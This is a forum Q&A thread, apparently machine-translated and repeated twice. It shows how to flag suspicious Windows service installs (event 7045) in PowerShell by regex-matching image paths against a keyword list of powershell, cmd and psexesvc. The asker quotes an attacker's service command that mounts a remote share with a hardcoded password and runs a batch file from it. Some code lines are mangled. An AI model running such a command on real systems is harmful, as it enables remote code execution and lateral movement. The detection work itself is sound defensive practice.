电源外壳 | EVTX |将消息与数组进行比较(如)
PowerShell | EVTX | Compare Message with Array (Like)
感谢您迄今为止提供的所有帮助,非常感谢。我一直在尝试完成一个简单的任务:将事件 ID 7045 的“图像路径”与一组预定义的关键字进行比较。 Like
无效,Compare
寻找完全匹配。
$sus = @('powershell.exe','cmd.exe','psexesvc.exe')
45 = Get-WinEvent -FilterHashtable @{ Path="System.evtx"; Id = 7045 } | select
@{N=’Timestamp’;E={$_.TimeCreated.ToUniversalTime().ToString('yyyy-MM-ddTHH:mm:ssZ')}},
Id,
@{N=’Machine Name’;E={$_.MachineName}},
@{N=’Service Name’;
E={$_.Properties[0].Value}},
@{N=’Image Path’; E={$_.Properties[1].Value}},@{N=’RunAsUser’; E={$_.Properties[4].Value}},
@{N=’Installed By’; E={$_.UserId}} | where 'Image Path' -match $sus```
我的意思是,如果有任何关键字匹配,我会很感兴趣!
给你一个想法,威胁行为者安装的众多恶意服务之一看起来像,
``cmd.exe /c powershell -c "net use \192.168.100.100 /user:workgroup\test p@ssw0rd123;cmd.exe /c \192.168.100.100\OutPut\run.bat"
所以我有很多例子,但是..如果有办法让 Like
运算符在这里工作,太棒了!
谢谢:)
您可以使用正则表达式 -match
而不是 like。为此,您需要从可执行文件创建一个正则表达式字符串,将名称与正则表达式 'OR' (|
) 结合起来,并用反斜杠转义点:
# create a regex for the suspicious executables:
$sus = '(powershell|cmd|psexesvc)\.exe'
# alternatively you can join the array items like this:
# $sus = ('powershell.exe','cmd.exe','psexesvc.exe' | ForEach-Object {[regex]::Escape($_)}) -join '|'
45 = Get-WinEvent -FilterHashtable @{ LogName = 'System';Id = 7045 } |
Where-Object { $_.Properties[1].Value -match $sus } |
Select-Object Id,
@{N='Timestamp';E={$_.TimeCreated.ToUniversalTime().ToString('yyyy-MM-ddTHH:mm:ssZ')}},
@{N='Machine Name';E={$_.MachineName}},
@{N='Service Name'; E={$_.Properties[0].Value}},
@{N='Image Path'; E={$_.Properties[1].Value}},
@{N='RunAsUser'; E={$_.Properties[4].Value}},
@{N='Installed By'; E={$_.UserId}}
感谢您迄今为止提供的所有帮助,非常感谢。我一直在尝试完成一个简单的任务:将事件 ID 7045 的“图像路径”与一组预定义的关键字进行比较。 Like
无效,Compare
寻找完全匹配。
$sus = @('powershell.exe','cmd.exe','psexesvc.exe')
45 = Get-WinEvent -FilterHashtable @{ Path="System.evtx"; Id = 7045 } | select
@{N=’Timestamp’;E={$_.TimeCreated.ToUniversalTime().ToString('yyyy-MM-ddTHH:mm:ssZ')}},
Id,
@{N=’Machine Name’;E={$_.MachineName}},
@{N=’Service Name’;
E={$_.Properties[0].Value}},
@{N=’Image Path’; E={$_.Properties[1].Value}},@{N=’RunAsUser’; E={$_.Properties[4].Value}},
@{N=’Installed By’; E={$_.UserId}} | where 'Image Path' -match $sus```
我的意思是,如果有任何关键字匹配,我会很感兴趣!
给你一个想法,威胁行为者安装的众多恶意服务之一看起来像,
``cmd.exe /c powershell -c "net use \192.168.100.100 /user:workgroup\test p@ssw0rd123;cmd.exe /c \192.168.100.100\OutPut\run.bat"
所以我有很多例子,但是..如果有办法让 Like
运算符在这里工作,太棒了!
谢谢:)
您可以使用正则表达式 -match
而不是 like。为此,您需要从可执行文件创建一个正则表达式字符串,将名称与正则表达式 'OR' (|
) 结合起来,并用反斜杠转义点:
# create a regex for the suspicious executables:
$sus = '(powershell|cmd|psexesvc)\.exe'
# alternatively you can join the array items like this:
# $sus = ('powershell.exe','cmd.exe','psexesvc.exe' | ForEach-Object {[regex]::Escape($_)}) -join '|'
45 = Get-WinEvent -FilterHashtable @{ LogName = 'System';Id = 7045 } |
Where-Object { $_.Properties[1].Value -match $sus } |
Select-Object Id,
@{N='Timestamp';E={$_.TimeCreated.ToUniversalTime().ToString('yyyy-MM-ddTHH:mm:ssZ')}},
@{N='Machine Name';E={$_.MachineName}},
@{N='Service Name'; E={$_.Properties[0].Value}},
@{N='Image Path'; E={$_.Properties[1].Value}},
@{N='RunAsUser'; E={$_.Properties[4].Value}},
@{N='Installed By'; E={$_.UserId}}